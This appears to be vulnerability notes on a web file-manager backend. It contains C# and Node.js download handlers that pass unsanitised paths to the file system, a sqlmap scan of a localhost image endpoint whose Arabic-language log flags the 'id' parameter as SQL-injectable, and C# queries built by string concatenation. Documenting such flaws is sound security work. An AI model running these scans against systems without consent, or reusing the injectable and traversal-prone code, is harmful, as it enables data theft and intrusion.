public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
        {
            try
            {
                string physicalPath = GetPath(path);
                String extension;
                int count = 0;
                ...
                if (names.Length > 1)
                    DownloadZip(path, names);

                if (count == names.Length)
                {
                    DownloadFile(path, names);
                }

protected virtual void DownloadFile(string path, string[] names = null)
{

    if (!string.IsNullOrEmpty(path))
    {
        try
        {
            path = (Path.Combine(contentRootPath + path, names[0]));
            HttpResponse response = HttpContext.Current.Response;
            response.Buffer = true;
            response.Clear();
            response.ContentType = "APPLICATION/octet-stream";
            string extension = System.IO.Path.GetExtension(path);
            response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
            response.WriteFile(path);
            response.Flush();
            response.End();
        }
        catch (Exception ex) { throw ex; }
    }
    else throw new ArgumentNullException("name should not be null");

}

/**
 * Download a file or folder
 */
app.post('/Download', function (req, res) {
    replaceRequestParams(req, res);
    var downloadObj = JSON.parse(req.body.downloadInput);
    var permission; var permissionDenied = false;
    downloadObj.data.forEach(function (item) {
        var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
        permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
        if (permission != null && (!permission.read || !permission.download)) {
            permissionDenied = true;
            var errorMsg = new Error();
            errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
            errorMsg.code = "401";
            response = { error: errorMsg };
            response = JSON.stringify(response);
            res.setHeader('Content-Type', 'application/json');
            res.json(response);
        }
    });
    if (!permissionDenied) {
        if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
            var file = contentRootPath + downloadObj.path + downloadObj.names[0];
            res.download(file);
        } else {
            var archive = archiver('zip', {
                gzip: true,
                zlib: { level: 9 } // Sets the compression level.
            });
            var output = fs.createWriteStream('./Files.zip');
            downloadObj.data.forEach(function (item) {
                archive.on('error', function (err) {
                    throw err;
                });
                if (item.isFile) {
                    archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
                }
                else {
                    archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
                }
            });

sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'

[!] إخلاء مسؤولية قانوني: استخدام sqlmap لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. يخلي المطورون مسؤوليتهم ولا يتحملون أي مسؤولية عن أي سوء استخدام أو ضرر ناتج عن هذا البرنامج

[*] بدء التشغيل @ 14:31:52 /2023-04-03/

[14:31:52] [معلومات] اختبار الاتصال بعنوان URL الهدف
[14:31:52] [معلومات] اختبار ما إذا كان محتوى عنوان URL الهدف مستقرًا
[14:31:53] [معلومات] محتوى عنوان URL الهدف مستقر
[14:31:53] [معلومات] اختبار ما إذا كان معامل GET 'path' ديناميكيًا
[14:31:53] [تحذير] لا يبدو أن معامل GET 'path' ديناميكي
[14:31:54] [تحذير] يظهر الاختبار الاسترشادي (الأساسي) أن معامل GET 'path' قد لا يكون قابلًا للحقن
[14:31:55] [معلومات] اختبار حقن SQL على معامل GET 'path'
[14:31:55] [معلومات] اختبار 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [معلومات] اختبار 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [معلومات] اختبار 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [معلومات] اختبار 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [معلومات] اختبار 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [معلومات] اختبار 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [معلومات] اختبار 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [معلومات] اختبار 'Generic inline queries'
[14:31:58] [معلومات] اختبار 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [معلومات] اختبار 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [معلومات] اختبار 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [معلومات] اختبار 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [معلومات] اختبار 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [معلومات] اختبار 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [معلومات] اختبار 'Oracle AND time-based blind'

يوصى بإجراء اختبارات UNION الأساسية فقط إذا لم يكن هناك أسلوب آخر (محتمل) واحد على الأقل موجود. هل تريد تقليل عدد الطلبات؟ [Y/n]
[14:32:00] [معلومات] اختبار 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [تحذير] لا يبدو أن معامل GET 'path' قابل للحقن
[14:32:00] [معلومات] اختبار ما إذا كان معامل GET 'id' ديناميكيًا
[14:32:00] [تحذير] لا يبدو أن معامل GET 'id' ديناميكي
[14:32:00] [تحذير] يظهر الاختبار الاسترشادي (الأساسي) أن معامل GET 'id' قد لا يكون قابلًا للحقن
[14:32:01] [معلومات] اختبار حقن SQL على معامل GET 'id'
[14:32:01] [معلومات] اختبار 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [معلومات] يبدو أن معامل GET 'id' قابل للحقن من نوع 'AND boolean-based blind - WHERE or HAVING clause' (مع --code=200)

try
{
    SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}

try
{
    SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}